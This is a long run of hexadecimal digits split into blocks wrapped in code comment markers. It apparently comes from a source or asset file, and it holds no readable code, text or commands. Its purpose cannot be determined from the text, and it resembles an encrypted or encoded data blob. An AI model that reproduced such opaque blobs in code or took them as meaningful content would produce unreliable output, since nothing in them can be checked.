f66adfebd3492422e7fd069ab263314a8c598f5167c2f652af06aa053a464e324281290e2513467b72b75c03f60bdf3408354c9dcdf9a2967010b41e4d72c77077cc6dd712bfd5184eb2f2a39b53622645021e44fd4196df52d578b7f33bc24fc528bdae2d17b449a01f795adbbe326acd0a4f23adfbae560b8757e1beccbd69e1750de14f90bc197aba6b62cb0fd6c9ff2c86f74d0baa39e2979bb0eb8bc250fe268a13365be31cfe944887493d2ec45fa2463a7a46abc3097a948da2085145b03344d138ee4ffe7655bff1b5eb0b6d9e6c865ba8c14a53b8f151707e47fc1a65a1ec9d5f72637f3d7231eb1e75bfe59109cea30904e964962466d51e0ca7668894bc6460e0ff6d14a22a670f009f64dbc9a60e362b295cb695a2ddd848bd2cfb25f216853c9a25c6e7e43efd6e62655bd9519a57961a59ff558290f8164f4434581c123360fcbf7c0d92c9f7dba52b77c72cb9c3c1ba94ac24175c31291fd63c18117cce6ffc5dead47b18b1a621d138b03851c9dfe4055a5210556150cc740391fd2a08ac81a8ca73f6abfe5e575b838890e23fa3dd06f54fbf698b0ca8523d82e5ce36363db833ef98137be3a*/
/*e5e53e77b9f5169a09a21be0f2097333fd8f7a465ff646509582105de7f97bc5bd15f06add092eb88638d8f2217d5e193361f43b615d3bc1e33b5703ca8fa869a9045c7dd166d83c7e3904f1e2e8bbc237a19472343e40b9ce22c79b1f068214ff30214774873369a859f30255ab77b45be06b226ac1e33eee9121be8d45054c861af44b3a95706817a28cd35dac2b12d490faa2dc893a98835a6143f23dbc3b0e75394889d3f07c8de6e41199399e2310474a3736581088a4a0d89eccccbe6f99e4762a32ed27cbfb421499ea2980f06d74c6cdcb95f763189754f884f40f0668f13b51c7d713f69ccfb23750c2df711dbbb59eddb053216fc613e9bcb82134a6fb78f1635f9b9a9ca4cbc44c37394c64ed9c4457a67fb6d620487029ea2d71077fd314647ca9311b44e7029371b3a3f55c3a6732349d4bb12f0ffc8b62f28af20d5b38f25a87d58bbffe3865b3f7d975df5a7f3f21a2660bfdf0153300e929a1d08bc35149ec7f761b9780afadbb77048acbcee6013f46e126b9aa9bd75902de9b509ac895b4fe0f9c4a6cdeba0340b4c80dffb10f458cecd34b5ad7d56e03479b1aaccd59458c808c6bd59fd0b5f3f02232a41cc2940fac4563c3b422d191ea6109660a7de779676e224908063b8d18adf246d48aaf730a9bbb38e3b8960ab18fe51d9fbefa726a7abbc4b67f3bf45de75cb8126bbcc69faf9c5a394834c360467e03b4cd1a487895a2cecb15947c029f79a0bde93609bcdf3081d09e1896a70b883c1fbb659b6e9fe2584c5b75cbdcc7d7bd92b1db439f62588651d98c12e0a4964465df6839e3d9f3ee96102cdb0ca47df4f1d6cf989fddbfd2b1fe772d0c687d41b31cf4205dd8ad9c24026552b36b19226333c50216637c8d94b2b7337cd74f0da2fac1d3ea141fd37da10ad258cb5f051692fad317eeba4e08de452011d60e9b91fd8ed49c66b39499b95fc07605d76e2e50c33f1b4caddf27b820318ae3fd8877706c60f4c3cd301dcc3ba62fe917fc5fcb5dca6c532fc835d0f95a9970646629ea9cf6849ca93eb4ca1dd3fbc6ef7a4f481aba069f026324573bdb72d56cbfc3c66ec03d3dd131c18a253b521a2a31f9fc2433ae1eef042b8d1700eba11ab9eb8a50d514383580f64ce8d270e97ea18aed6cc8ba23a1a0aabd5cd03ffe0e9b754f6b883db153431bfaa3317d8361a6d384ed05b69513abb5d617e47e12555a0bf238e41e2f1dec9104f2aa2bd065aeac9053b2558876558f13c6e5befb28514b13ce376a426c7ecca25cfccb28c2cca005d520b274909dd1df23b62ecb602fff875f7db3da4fad771a2b79f9631437ff764709fe78681f279fa1f90c2127ffa08866dc96041e90de406fe00844d59d1fa832ae25633cd679a73504b758bc256398c3a867d101a375530bad20bae036471a72ae38d8b40631e3497db1cf5a0c85d88c9cc56716452b0a0d95b49f5df83ff16e34ef75bb570405be2ee925e615b7c720ff8a7956293c5420dfbbc6e792938c6353019e6f83a3c856e6d521bd4caeab4b05c773e673dddb72f4fc4100136a0489db647ae2f72672fbcda0448b6b5bfd92195a72d18899021b322b5ee039b8a5dbc5493e89da0bb61d9238bc80dde69e78007a0b8536ef3b708f68552c7a83a47c396987441037d5e750db4f7d292a654ac9311089bdcf253c7f9d90b0523bbf0b2c1aed54ac4b5f075f3ee9f790133e6d526a2b37ed7090981940ddb7c4082118ed6cc0b18fe1c23032b8cac63375caca50a561dd6327c130e9e6d4922bda7a13a433d234ac6f9780c08fb7da3bc9724da7c32a0200e1e9d8b4df030bc8d69011cefdfd6c0ef851384631a1c919e598abb8ff4513b916ba1ffccb49e27f773cab7f34e19fdf8d4e119c132e30f9e07a1559fbaeaad191dec1b44b27f9b0ef9410ddd56ed622430e285d160965bf7faf3ce384a48a5b3a0560f991378e31462d739e6b4034ad2b30349623faa056238048bd9444214fbf96ef5bdb5470b754cfdc3d717c279dd914c7ae33effccd378ba6ec842f8647dd807df8c215bf507b4ac4d42ead7e6274f3ab35dc6fe7d28c630e1068879b4a9247fb8eb258b235aabf4c947d4c0e4a842fbc08d844b444110bb51831db7494a41e605d797fa2ba53d038f749580b14f369ebd55e2cdb5f50b918cf16c35052c766773c8149d8a58b5f498a52406955df74013dc1b9d46e59624cad668a53a6bb1c4e6c1cf88ca88b70517386a71ab17304df53ec91507c6f52734676725c05f641198f323ecc0f39a87f35a284d4b7eda541c84b7170fe43f8e5410fce586ae733177800d81a59f1dbcafad9c348bb3a808798278736be64fc5e2d811c7137cea2d609a691f4ca812f9514a606114b6af333374ca6fd1d949961668ac299886c3930e40a946534669789bc7cce45bed91d0034c7c097218009ad6d9e8572f1ef5ba104e41dc855178ef1b9b4295202c61893537fde519e0e2e6b0c4ab880b0bddbd1ccf69f9d6c51e50970429c7ea6c58c3a46e4ba386b061c15020c2428789c6e7ae91cb8335d8b712bfe0ae99db5e250d3de2c751f489714528fd282a27b4a71235c30de75c3465813e640108a09a11bfb8e2d652762502f55d2c03c7c35ea87dad0ad2b1cb75411e0c64bcda06efc7bf0acc08a1abe93da5d69d5efcc2d09370f0b160d1abc51974f105a9a4b529a58e24376a2bf7f68be46805b468f70126b257a99d0c7bb637e3752cd02c7cc23b11e8bbca23a329360bcb9b8c6c5548c5adde4431827cb606ee830eb1a0f56d16a41d3bd365c4ff7e2bbb748fd5e0748bb2f38*/
/*74af799c17030d07d29c184008226f330a51df501be81999c4f0a6e8493e8b2edb937b17951867d0bec9e021967186d9c4c98017816837888babf2e5d0f8e8100f9cbd7d8ba73170c2b67e28e8842d520c44d8e26ebd1f9d4ff28888623b1dd5dfba86a439fe198868801f9f3638b77227bbe771a94be7edbe239a1a5f4483af05915e2285f9914840324861056270c0cb810cb5797c28e85acf5787425313590033e5efadc2effe3e757a9bcde75ae7ae31ad2f1aca0cc03e13c1ba1e69109d523c680590fabd1299e1e3ac4ac82c7a217c5adbeba05620ac151b8f9d84e244b1cd84c37e103f20de6e70fb8c51d72b2b637245233168fc205ad8029ec6c9ba6107268efed48af764b346fda5976b4dd9ce7bdd8f9a7c0bd59a991a0a39c073ef20286c091c939a99743f492ec752b56d461836c6a6ed409f8a97c7ea3432c5d2d225cb442402bc25bd6134fbfe30c8840bfd577742fd8d74e9963cbd5b665bcdf7269db3751d5d5524685c958f8a4934a74f640a478552aa2e358d85fd9ba793dbebc5e858901fb0583fbc296fa3bb4c362f736bf5951d0c7645a34b129e62445a0fada830a9364bc4e1955b9e1d5fe5cefb98ebdc0f8f1916d4022270fe7a1cc3bc65ea318f6d4ec362b7051f3585ae29252511d75100bf2aefdb556246715c98416ed2118145fcbbf287e722a639718a232ec47e3ae898fd86439da6fbea1f97fc623346f1e22753a395085d023695f4c5db53f4dbca39afdb5695265832e9e29eb08f1b5f9a6470eb802f4d26de6473e8e04d12c7c57913e8b30cdae3ce1efa1d44d757ac714301d5dff3e335139302ea7ccf094b418871235484ccaa78d07de3affbaebad282f3d60c78d4cc7e1ead5004d0fc8d446637a0a29f5780016573f8bb79542f82d8890c64a36168db1e8e237d6b65166d9eb53f437809e792e0bee694b6c12b30f8d113aff6e866b574ad4730beb0ab6e94c5e7ce4cb145950849874159a635afe9e51a31773ac5896c3d952340c170bfade02a51a91fe894b520d37e3056723d3a3570dde4e711ac94a0279bd721192e9a4ee415337d426de05936e2b1c2da63d4459b6f51eeb425418594b928e27cd297c150f01618cc60edf1491e40bfadb625b746d108b45c9b7ae0812a5f694086e9cd798b715485c1ed7559e770242cbc4ef965cb777f395a11049e254ea844c9df7c28521448ab27ab6dd30701c0a341ff5ef20f8d8e4bb66f4a39b81ca2c34f3530c5e623679eab52a124c779ab46d28723d28890a2e03a4ba15b03faa9a5c1f02742667ad82eb6b2a9ef56e5a335ec97c5067e5636099d7414fbd02c34253e31e663dd482f7752ee677d91f5cbd668f8370e92856471d26e65d39876316beaf53ea93115a5f753d9be8c42d87d4e17c70b91308de0fc8698035ea2a2d4d578766046c82e703320a8181b6fab814232c08c544be5c63a2c4500d15773d88fd641d5bf28bcd891ac828ac573c380b426a72b94beb41af6c8fb0f4ef051c71309453763e6181753e703b15fa0db937f03bf506f736fd532fd36d02d22e9e1d9237f8e6d9a160bd595876ab436db8bd7441695fc98ad242af10bdb119b9a442b625e3a650c32312325bfdae338b5d0c02ac9927b4535bcf7bdff8a46ca35a9471370034b1735905bec1454a38a91714f53f2eb3e575f841c4b92dfcb21d88625ef30eeaa736cd57a01b37db50ba7be0390ded3b9a7ac40d4f0dfeaa3ea3f2b62714f5796696e6842db7a77656f21ad5c3bb23eff51c69b5f713f97faed7943de59c107718810d9f2a9435e3390352a895482b46130ae911b93c8c4b228cc4d0817965535ee8982258a569a8a17c8352b524b4091438adc3f47b33c9df9e187d49cea998e495ded5c95731bff5ac479803830842f1a531ae02b570e71083922e56edd52570513b587c6c9d54b13e4a2113bdc167d8243dad4f5e08146fc56d107ece8f04d334f3f1f5812a3a017fc81805ccf9dc31a2cadd1428f7f1cd9110008b6c8305818df5f94f07b6ef6f0301b3f30fc27d596411c26086593309c9790bd0b0ffc57c99b04d0a546cfa6ed906aff734012eee2170e3386ec3684b004177193951ef9ea6b61b2bd06491888eac7616b73107baf89593ed15f3cb614853417ea96a0bb9e0aadccc7ef7d5e839dca2383148b65c9c86222098f218c2d0a3864caf15557a472ead3919f3826549097b5a6393db8723d814cf5dc6a1b3b7df93fcd6392afc6702249a9429d396ad746106f623188b131b0fca049a1a66f43353dda332683c133c89cb03161b0b6cf11ab286cb0f378c6964a63965c204f183227083f49ec15e9a241e4c31c062cecc634a7f696ce993449b4080cd3d4df7aad1358d900f6e9af71f4193a9d834dda69a23d048f9ef72301b4e1bc4c90102b00db9da1f045851c7bee468ee7a8e74eb48e0bddb630ec88d5d2046ac82d80e25bb5ff6c8a135133c8171a3949a7d391e45d585e7e9c0451d0eeedeb43bf6cdeb65fa445075594d36f9808795b92f5954c354f86c69fccd0774fd6575aafab0f32a912f8fa315fc35b7797e3a20ce1b6976771744fc60ef3350b67d00f23e5e67d2a01698a2383bb05e721578f04d56c8aa987848ae4bb1f29ae55016c2b1c05ebe362662e5cb30d793f399532a68b38830c99bf463c1e0ea2aac478ed913ad99ab9867ef3b7ded3e1d5fb89dbf758548ee525a5c6a7a85542fe588047599428c9667f4dcdd937da3b368c1a999849f68a595eb7a31c3abbf1630473dbdebbc436990f0463c50c3b76ec0be489cf09b6e47586780bec296050d543*/
/*beb0c5f1a2b0cf6c955c7dd8eaa69a787cbbc7a6ed424a53676798c9906a65d782415e833f6884a3a30699f6d5069c89be65873dfa020767376bcffb946cd6ec11250ec87b50b999a626ecc97c9b9be24a296b0252faf8aace0e803b3273f53498186f1327f8238140e3e9f191a9a97396fdfdc0d2fe005718a9afa6aff7b3fcea913f745e16fba29922fc53c81518a70418e43b7b7d81e0538ec6d445c22492d8e9959f35ab9ae8415f477c45a2e5d6098ad7d164f05d269d662222a5ca9017eff66b8e56238e3dd0bd80c7dfa5e20fc1701f482f057ea375435b1d774636accd841b6b09b268547f1ba63a25aefcb20b1ffb37da9b61115671a5dc862aa2dc14b5d800918cf48d68d9def175313949dc951d5a5da7de850e695a165b56d3de1ca17685bd874d92d6fd05b209a23c895ff8d02f9e13d26844692bda7e9b443f423ac50069759138900147029c37fba74f6bbe2d4d598fa0ff5910f96502f4da41d515a3478f6205145afecb6821710c1124f5c6820d2260c71b43b491e85cc89cd1ce70b1d6fa3b5861cb85ac4bd101b4c30b57c5ebbab22e17f1a3f0413481ad9a8b35d6fa2612ac07e01c4aee286ee10dd88f609a45a300490dede7ff388442edf8e954676e7f6d1b76bbd1b95ff3d8091b42a33ec4dfaa516d9e9dff4b982e105bf8a73e10bd39a4fccb2dbada2230cbc1101d2cb12a3952fb378ef9901595675486ce83fcbb18dfb7f94bf30094d1e59d9174c1d6b93f6a676f0003f26c006643f53a3191a174de05768d7e4fbf0ed9d71a459cfe44ea322b4b4e3bf4bd55b8c43c1700548756a5d7155cb73efb22813ee1c0490f533b5e6fa6816b6c9c43c41891a802c77009c6ad16da5a0c7c496c65ce5f4bd4e3d58bf5a344d5408b26f456eff0645d689d4fde20fff865cc86f4dcd7e274f955fa90f50d94a0f9395960c4e12d25b449a5fea76c236ba8d7bbfdb098d4a15e62590ce519550b71befb173b6545113f5c92a2c1927b27f1235033af4de5e67824fd4d6c5de7fddd1bc8a80801c178a4539e1b49aff8cd73a9d0ef583464cf04f6092ccd4a2fa977ca0544e125460a09e66f3f590ad1766fdecff9b7ecc6df2588a1611371228eb404efb11a93ec8f3c2017ac02f551f4daebf4af055ee500df9f1bfc0a4da82137e0ab1c957dc85154a288008d4940b7a168b40df7bb627df6cfde90fa67a30d72329c7712ea21d17e9f68564a2837d1bb68721e273556eab548c0ad4fb46809a44c553bdf991a15bd40b5a7ceead4e8db8cd0b14eb91d205b3670028963d4dd97d71203b0dfbb4cce643d2785ede9485521ad60e4b93337af7009168dfd68f6493d4fa95f58a00a972ddb26973f5b987fab1382e410baea8a898f2bff8e1c2b6055798659452928951694346d9a51169c71c4194fc4361f29041f8e4219cea41bfe84a6c5d2e10890758f496a04fa403a865c112284ee101c15f7ad84fd1e810c5d407d5cdd6da90698ea73ef869caa0f463301bb766fe6b81a139215c37b34f37f6262fe1d06a76f615f5cd5b081e30b6e693670df6aa9c67325cf7f51588ceb69d8c3eb793e4056c38fa01d6d458b21907c83290f0a4320c45da94775d4fa776ee4cc599117cb4c80be448602c493e5466e4e77b0e839075839e02a12595c03b47447ad92a986d354ea6cd4e30ba2a6c0925f3c700636cffe9cf6cefe0e1a9057f47ad57dd6c47efbccf84c50d4dc4391cecc31af575ab09a75db9c66784d95eddfaef1c4b79e23296dcacd9a371effbbfbcba797e1a9758e8d2e12ae221bef11cc6670553067fb46c2923e5008221b0e7f6ea73c77e82c9bb0fd4553c2f795bdf5d2d6f7d64a2c839c52c7f501506c4c58fa19fbe58582ebc83ca302540ecd1451eb581b2b69daa9362330ebb7b8def385d845e161bce323af1051690a8c8b5f73a143e62807f3303d3a19b548cebd7cbc674189c3579d945c65cc7c7f938c55f2e8603f5f40e5042c581fc3f421d6180ecc77071c6c69375a6bee297b00b6c761a922361d337b9750bf00ad309b71eebcf837cbda9538f2b8f60d14693308c14092218935cb5bdebdc7a14f72ed21ad1d1e0ddbcf1b99bdd08eebdab90bc4778d59452c66c38b264193db80a76a293f4cccc116c683c162290b61a0b20190284dda3aac50bd4fad1777cafaaae870eed327734ab4aec0393d1753cfceece7a1b1643edf1f9e39c1bcd807b8e181db434404e19761116e33be3dd78a8d961492725cb9a3748277fcd889e30a53162b758017897fb151e2ba1ad1e886ce37ae2b29af18e6b3bf4ff15e6a0cc42db6e31f218ee3bd2a66a3c62d9759e3dad8737a6ceb326548be5873620fba02295fbcc0f30e0efc7537aaf281615401143168f3784e9c3ddc8a2258e2b8533909710e751f26350d854893fec904b45ce65449f2e0826fcc5ffc498c5c1b5de6dd08c1f7bbc5e6fa49d42a1e3215c4a70affdaca80e64bf8ba7ee2b11d31c1417502d68bd1e7268ff5ac5fb030070f55624bd88f25849db21f4fe7abf0826a0e975714a1abe45a1de8c575a824358101f49e610bf7f679d1597b139b7197c9044d36d4de4366afb22fb157427aaffd2bc9abf1b890600fea133fbc2e61e9a3c51730d1aa75ef512e0f23203d4c18cf23f7f7919e9d38e4afd88a16de1efbc8b4e4ecedbb7862d54bffab3da6b75f21c9400e925c2eca5e8d9f89c285ecd1585785b3c30df38175668ebb802fa620379c56bd4cd9c8be8be8e4a48e02ee3af70bd88dc55f922d802eacbcf0bfe0050ea5195d3139190a28fa83cb23df8ead505f2009cee2*/
/*353fa67321d4bc27318bcd815046e112cdd7b4f47ba943ebdbc5ef94cb26ccefd408ef79a45180124167d51a9bcc9ed5fb61be173e450caf74900dee85acbf863c52ee31d8ad75ff0f869c1b1c0ddcc12f1d670d5eddd84e0c3f79c0ae81b59e511a2f36d3ab3fb09914f84cb298fd44a8466535b334405e1a0a7e92ff4ab2315168cbf95ebf535e16f05a4db48e12be659e24b080314de4b281606218d4b82f6deacc2a2050dafe12d66f8553848c9385a824fb38ab2e7782442dffbdcb7162bbaa49ef92db7f8d09764c1905721bcef69f1264a8ff157b52b8ded37417c219f7a89fe328a83d26ef04b0107af8fb1c9b47221c9cf398f3489bbb7dd222df044191fa852526f9c002f772c1982f2ad5f88730a28bd7dfccc9c6c6ba6cf80b6a9fd997ac23a5941ead0024a17d9bb26c000a79480f85209d745d7a2bda814c6209762aaf0ccff386ef1c2e3f55e460ee620728efa5e2438a6ff40fbc31ed5658e5ec9535c28d808aceb579701504e4a3d54fc8a9e5b07d0ddf8581a9497510c2d9d7f26cfc90e6aa584b8621a48d4682fa8f2a0ab84224d837a3c1599dea43282cb92e4e4c9f39ceda07944d9f3ab2d0eb2f7ad151c84516d694db6d73ae3a31c8d8b115adff394a50209f3ec04394023ddc5043b8498abf1f56c3481a459eb889a2df823a853e670f6478a6718b61bd0697d14021c38201554b59f31911aaf4b1659a2a992e5cee08c598268f2144d2d218690cf5301808fb58d5785ce31c0e9ad23033804d675b4a1694597adad4f86e277a5fbb8c24d1945e6482a4547414501806087d355c536b43fa341dd6cfea80adf9aa3b469de5db6e37dde65e407b6e09683b9075054ca9500824f3dfaefec2dd746f2e0232d2b4e6c3cc75dfd19772c867d879114348ecd947bfb511669842f06a91d0d4162aa8c4f96f10ce5dd7245dced03ad1cc25f66f9eeabb17f9f2020c05dfe7fdfed5ca33dc34738ea54a0d315ced874d6b8153ea8eb6caac002f621111cf0882749219fcab02970f4cf02cd31f6f26332b2be05c980e288fcbfe2e1a163883adbb057433eb0d64bde91ef3e2034814e9fbdd23a6480c37fd1c855487c1d86cd2f3aaf0b650c72d58914629d56fadea2c58a60a46b2286063f0ba98354ea2c9a4e8edd77989fff76ded06953a1e739d10cc3439a99d2195640f9fffec0fb6a68aa5161f667170c740d96432c91600655c32d1aca05bb1898acbee195d6e84d5cfad2be024e02bcb67cbfccd905a4da9a3874549e089b9a813f87ebbc1fa0923f4f08beae92d7591add863ad88b262c8ce7f0a1e7c70245340e79630ff93c0b1ecf9dadb6d88009266090150948d04cd568a3d460d4e883367b007ad7342cb47f6345f34912f72ef45c875cad0777a16fe31a9f17ec432a4568864fa2b5d03dcb28888ec5d0300d96eb3d2898510db85d76ccfddfee4b9e1f9f4923c13a7e60e3c4682d0d01353cc53eb20019f4d48e8995a43b6ec76402ee7a20fc3198a6b85d6f3a966da795d2a68bb6411f16cea2d16b91410e72870938d888ace53d8ea593b33934a49b02f82c58bb34a96690ece6f5e9ff73dfe9675b6392517cb394a0ef37aad3de4082081b1c05c897c6d07fdbb92ab72994e69a6d9953bdc8c664b00fccddbb09bc31927dd80b3d9088423528cc9ba157fad6e1dfbce07f5c2b8582330e358d2a389024b263f4d5f6848ecf83e7fa02d4aa75c8a4bd00ff5887cf9f1195248d8dd49ec8bcdd80915c8b669f7420aa4e658f6b9d9c194c4ae9baf9b7d2a569c2300081413d287b9ebcdf468453844503ceca4abad00dfd18f6f1e9c20e895f95d0341e4d68882228870d9c5f213c2dce5b2e3c2244cf0b3ea716a80262895ff10a2805438d960096a0b7f7a712ecb4bd9e991084ba1c8e6a23b6e3bb7257f0d7a330ed680b9eedf272a92d98dd8618049bf6f36edf757be06be88b8bacad5701274d106966ce817faf7627591a0ae8634bfb0aab78593e9e27bfe0bd45415e75d36b18e3390a29dd3386444e091bab72e5f2dcb6350809441725af93e27add89132c25a450124303d75c651c6437c76a9b4796383833136a51131e6d266e016c44c0b62a6fd5833e28caeec03815ef8357381dc06cee9e2c8ade66cf7d59ddd04cfc8dedc3f99b350e5f669592ebc05987d8078493517ee66e415ab0e2b70abd7e362cdef122008de9c27373e8812cfa4012609723209ae97a483cf32659efb2553858bdda5ff101272e373d75648c79f3ab0135c0a5e6fd3b60745c42400d8c5745cab8bf243e73eb3a9dbad0bd7f8c56a254c150c055b99e88b958ca5278f853ad70b3b533e625308c2a15dfd806ee358374ebeee58fecf38ab348a55ea0ca7ed57a2fb1b00e30c2623300fa4c3929058fccc04444cb8500e8648c3e504c91aade4ad912a2593a4f4e8b062234f7dd9a583d8ea7370cb4a62a7a9ba7149017feaae0bdb3cfef63fe7085cb119853430aec657c4f2ac0f0969136dfb22d54af24bd3beabc36b4a23766341ceeabce5d58a7ad1c93d18f20bcfcafea3986e6542c668eb25461380856bdf7909c07ba344a292eb3befd0a0d2d1af8d48cf8373813de4d1abaf929a754c8b90acce8ca1ba7307a923861988a135235ad1b4fd2e04fd1be05736ea3a261f9aa73567697001cb224aee70e87616deda387c75ae7866e9c2cb9e1a6c2a84a72578ac113822404f88f59ab93e3b0c086c02fed9cac12d119beb70643632b693346405f2002815a945fc06b3c68a99fb38d6d2f597b64164c30e914f086e9ac3f6fd8f2f6339a92ef073566d236d*/
/*20ebe3142f1304ad2369c458c21d0ec58faf8789565fc9a9daa59cc5c11166c5992e3db94023e7a12e0fca02f9bd4324ac8485e2b8663f36fa733d4b94ee5ba737770e0335838efe8435e092e7a51db090499769678171b80c4eaf4f19a913f55d7bf93e489f65f64e0a0378f2322be776defd238b55297b7a2a91013fc1e6eee03752f340ff7b5d048858a89f3d290da646b58304be478d63b6b0e544597c3471d164427871602defbaaeae22700e8a5544d0fe224c91694a75249f700e777a9aac930e8b65c9b0f76bcc9adcdd3a12e4eb0593f2a7c936caa3053b9fcc6600aa9133595c54e96d63e9ae3e4e3aeff3db527058a2896bf8f02a488136d27d682332a65849a3db9dd5e93fe7d3f5c217484110ef8db5cbeab5aff6ee5e66447c78d8f091b7997f3f98b627ab623555d849a650a85ba8b4bafe033cbda7031b2c01cb19ca9fdd7e8e22f6ffc42c1317de50458f7aad1d666e7274500a55792ad125908b371d823cbfdce50226876876fbb297cfa52e7395a3ab60cd9a1e299e382fc7aacb9866d7882afbb16c1a50fbf385439880c211faf66a0e02b1f840463e6348824a9aa66015fe277eb6d630751aade29d11cdad882456397645fb12d45d3e3d92dcee0cb788afaff44d2723212799097a7d856729e8e759725934f266520bc47ef71a9911269b7afcaf5f3f81db6c3d2182cb77f6dc0ea30e9789b6d46202312147a6f6c55243d9fadc3d2475456352af8e96bb8dff206baa9bc2e843a8a34628076d6681e3a7dd4c5dd52f5157004459c65d4748f0dcc9799f9c31690ec3429cfa0adf86433a93b68922a455d661dcb80210b92bfaa16aead85529f3db037858d4294b511a5027dcf6a6d528151b52c233dae659e6013352b72ad5680a8613ed52cb1aa467d749e28d23045b40035e6026d6dd3d0fd8b1947009990aa17d8a2b1324d16662c3290d39865a6b4a9641a76d2a3d1b226ac10020c997219adbc153e44e226987a28e2231c062a95fae0bcab9fe959dde0513cf8cbd73da3c7e3ee47675a0f0ca40387bc2c6b74cff52e5b5560ed716bfd23083cd1cf2bca41d5700ba5f06244548b77facec6925cc84cf4548e4c0bd9067f972a06da0a95e3392e1ae33141a97c23f33ed38be078d66e46aea827f4defb7c5ee6fc8e7ec774dfda020df3ea89f3dc8d61f69427e8d7205524ed36011d419082ef94c3d7adc55b037ae36d5ee3e78e87c3e9b5000445eb7b87e8125f4e8f875ac88342068b324543d7e2896bc3238f5531a16f8fb518a12961b5a2517b3355025870ed6a16183d2b26a2004e61bf7f157e73621d8a20ef8bed569dedf26270d306ea80fa52239cf0fc241f6236bc17351a2c35d24012867658686ce8086f18424d54abbec5a41c30a7b400c4c9e73415308740626e69bc8dbd212c43e407883ceb8ef80db7219fa6d537e4b8ecb33041ecb1c5dfe35f51559b291815c04cbc3478d316649201a22c5588cdab1ec0438b2452655704d93f95f88bcfea05aa79a58761bac5eecd05fabf5421d3edd8cbaa52e6e9de214f6991d6d5ba511cfcb2b56148e48148b0aa2f81a48608292a1bdb7e3db9c08f12869e1186e748d9d8d525eff313af6a0f46f423375c464e839588c1084036e3ec230e0aff4e916218a97f96680d095032637514852e4b25b966aeb5bf72d5cc1a87a4031518a81fc691295cfc3e084fab7a95c6fc0b9334618e820f6d3d5dd6929d937bc04e7d4e2c7ae2de947ccdf204c6f59707efcd22a5f0322cea0f1b99e4bd8aa45ce1590335f5f1eb82b7fa5257a979027039c6097e875be9ccc8da3e891c3752ca73c4b2f348d81688eae0a6cf4fffdba4137cd7e125aa1dd84c976936e435986a362ddfe50a4f9ea1217d232fdacb72d5df4b9fc333fe8ed090a4ea8257de75082e68096a9b4de5a730b9d8e8f3662c00ef0e6d980ce52dd7bca8991fffb35716ffde7caf7b6df9d0afb74373c17ffc381ed39f9af5c426c53412b318b4c44bbcc0093ebb84dfcf1b8f6eeac8aeb26e0a32e30c64d0dff2e53ddc0c15efcc50d46607affeabbf91b7b61266ad59aca6e6f83ade9be4505672938331d6daf4fd363e647ff31284475d73503480c44f30d3552b4f183ba11bbb8e12197ed03feb2275862b52408f32ee3d5d92014a55e734d62c7c5733dcd0d2c84a74ae1fa74ba08e9320a0525f6e82a8644f28671a8b4c42d5e10840ed7b2901723a6bdc623f7826e409c03a1e85ac30537d3e0244783e85e015da031ffc3752c9f5d9cee87ac3861369386f226420aade34ecadde89f8c63db58c421e4a6b534946e6f0d68df2bb27ec2dfa856e7b99a2e27a30927bc278bba1f2be388a00c4d3f1a89115334544dd614b5a797edf41c99b1df93902b274543d075648b71e8707955086949b697ee53b3e529616ecbfc5c7a953121f1169358b0e1f67c61552197ef5c983f3a31b15e169fa9a70a547b815f8bf91f63e674f8bc3127d27756a7a9f9e84cd028b17fafc27f2515645ff50a5bdafc801aca367e411604144e54b59a883db47f4f5b74e28251de58fa60bd679f7d439980608fee2857f48dfd4eece362cc98807d96dca5dfe063e033ce84a92eb35860e17abe54c1ccf6db22e23c34b9619cea2391b5aa7794eec2c9442d1ff0acfbef581aae68735b6318a82c4e534015a38c0959d4e1dcd96fe6c723a33962d0919012a76d08b3fc383f74b27add7e70612b2fa39333297361f4d5c29176c5fd8aae904ba0d2837963dabde73eb7de97bc0c2968556fb4bc6c4eba8c3c86de1e3c39c127204238c32e1713f14f50ae*/
/*71188772573352f530aba04d2d429a56c65b340f43b9e3ae74463a88bd12a8ed9812a7766f4ae7dde070dcfdc87ad751e57158b09582e71e8390c51cbfa560852a21b52f837be3e2a66f1ddf5ba98ba289731550f3ac11eceec28a5f7373cf8cd89038eebca8801880b2fa8f2e9535616bb3c9e7ba1ab5eb909136677838729f47172cb79d7a6366db08385e2eb0373aee0d06d8ab7fbca18d2961a3d21aba66e142acd055ac293bae224c65cb62720ede44199652efdd89aff3d625f5dbc5d042e8014629d6b9ed0bdaa18061da323b1ba139986e9a22453325c4d902047419c3f6899ec98b4ad11334d43b191364b2b86772936ccde06dcf6d66c38de495e29fde50bb6dbd167cb95aa2848b9e5bdd5ab0568fa44762fce14ab68cf20982724c0f613d8c45215a0aeebeba5613135feb98bbeb4ebabee3eabc20040ad10048c15bcf03e6be1aac89909435644562a25c58de6207a9c492a3023fb680187917fca23f7646feb0fda2624409fea4700772c8f775f544ae0593f2bf2ffb705b7b245e21f349776dd3056eaf5c2f4b876992d8ad87a8fa6d1a8de0f6fe55ff73c7e351929b9fd79740941f06ae940a7ea465260e9db468bcc168501b37327f34a1f23a85c52e73e41e020481ae0a8bca9d3c3eddc35b61dfaf6327a5e6b0d27b3b1eab8a0bfd41d4d981892ef3910a8c284245fa70a0bd8e5b41a3faeb60ae161d88bbf4f01fc7e3c75e0d77113b694010b5b289d81a4e296c71e550049cdb3bb7616c3f2b73a47821fab048958a8f4919b7465d0bade184d3cf48ebd7b64b031f26b8f5fe7edd1da566ca2bb2e291f5ce41ead7b4c307a81be9b94bb0247098e2f12aa311d4d6d84c4dcd1871ed83f1ae54481d3d70982acb4dd403461e83db1e6a9486ca094cab1f01d4aef0ca0fc29cb41707198649818083bd49a973707eaa589417ed0dbec73da80ec2236c31000c29d1d6b02c2dfbf370573ec80bf85497a7c7c14c11706b9d8c300f354680729947a13e0f6719a815939de455a35e40479dd6b43a8a8684e492f48685af5db987fb4800fb2d079e8d2c224d5c13004cc002ed9de02e7c212431524df56bcbce8ba4b3e008ed29283be261b423a6f913c2f6ec9edd1003da0640f11512cf1546b0eea59eb00b3d8b61c63e9bb2bfb4ab6cbabe4db27b6632c6d147770a6e71b4c1e6cf2d14573697333a82df21cab0b1cdf9cf751724a3ed8ce2b665bb667e5b990373ed390f32748745fcfd0c1ee0a83398112af4a921a6a649be50ed114121063f88be404034241e8151bea5651791a2e74555eb2a8b79a7d875b96bffc98eeb94424453fddf7c308aa308a3b124a814a180d9e4afc83933d342e5523c69a2c1137d867928310aa6cc0f68c629c698ee70c156c1d9e83ff6fd967d44152fd72e651970e53940eca906fff4fdf41a1ecafabb9689cbd2bdbb51ff7ef0b3c027665f6dcaee42186e5c427eecaaf2b684c4b8441b952d8d554a4a678f80cdd45eb8d6dc84d9b26fcf6b4e535386adca2ebe1cb11be902d4fe387248cf98cac8b08c9f618